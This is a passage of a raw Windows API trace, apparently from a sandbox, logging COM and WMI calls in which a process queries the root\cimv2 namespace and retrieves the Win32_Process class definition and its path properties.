WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cea70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0120.237] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0120.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0120.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0120.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b510f78) returned 0x0 [0120.238] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510f78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.238] WbemLocator:IUnknown:Release (This=0x1b510f78) returned 0x3 [0120.238] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0120.238] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0120.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511060) returned 0x0 [0120.238] WbemLocator:IRpcOptions:Query (in: This=0x1b511060, pPrx=0x1b511098, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0120.238] WbemLocator:IUnknown:Release (This=0x1b511060) returned 0x3 [0120.238] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0120.238] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0120.238] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0120.238] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4cea70) returned 0x0 [0120.238] WbemLocator:IUnknown:AddRef (This=0x1b4cea70) returned 0x4 [0120.238] WbemLocator:IUnknown:Release (This=0x1b4cea70) returned 0x3 [0120.238] WbemLocator:IUnknown:Release (This=0x1b4cea70) returned 0x2 [0120.239] SysStringLen (param_1=0x0) returned 0x0 [0120.239] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0120.239] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0120.239] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.239] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0120.239] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0120.239] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511098) returned 0x0 [0120.239] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0120.239] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0120.239] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0120.239] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0120.239] IWbemServices:GetObject (in: This=0x1b4cea70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d9b60, ppCallResult=0x0) returned 0x0 [0120.245] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0120.245] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0120.245] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0120.245] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0120.245] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0120.246] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0120.246] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.246] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b45cff0) returned 0x0 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cff0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0120.247] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cff0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4af0a0) returned 0x0 [0120.247] WbemDefPath:IUnknown:Release (This=0x1b45cff0) returned 0x0 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4af0a0) returned 0x0 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0120.247] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b45cd70) returned 0x0 [0120.247] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cd70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.247] WbemDefPath:IUnknown:Release (This=0x1b45cd70) returned 0x3 [0120.247] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0120.247] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0120.247] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0120.248] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0120.248] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0120.248] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0120.248] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0120.248] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4af0a0) returned 0x0 [0120.248] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0120.248] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0120.248] WbemDefPath:IWbemPath:SetText (This=0x1b4af0a0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0120.248] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0120.248] SysStringByteLen (bstr="XC64ZB") returned 0xc [0120.248] SysStringByteLen (bstr="XC64ZB") returned 0xc [0120.248] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0120.248] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0120.248] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0120.248] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0120.249] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0120.249] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0120.249] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0120.249] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0120.249] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0120.249] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.249] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45ce90) returned 0x0 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45ce90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0120.250] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45ce90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af160) returned 0x0 [0120.250] WbemDefPath:IUnknown:Release (This=0x1b45ce90) returned 0x0 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af160) returned 0x0 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0120.250] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45cbd0) returned 0x0 [0120.250] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cbd0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.250] WbemDefPath:IUnknown:Release (This=0x1b45cbd0) returned 0x3 [0120.250] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0120.250] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0120.250] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0120.250] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0120.250] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0120.251] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0120.251] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0120.251] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af160) returned 0x0 [0120.251] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0120.251] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0120.251] WbemDefPath:IWbemPath:SetText (This=0x1b4af160, uMode=0x4, pszPath="") returned 0x0 [0120.251] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0120.251] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0120.251] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0120.251] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.252] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cb70) returned 0x0 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cb70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0120.252] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cb70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0660) returned 0x0 [0120.252] WbemDefPath:IUnknown:Release (This=0x1b45cb70) returned 0x0 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0660) returned 0x0 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0120.252] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45cb90) returned 0x0 [0120.252] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cb90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 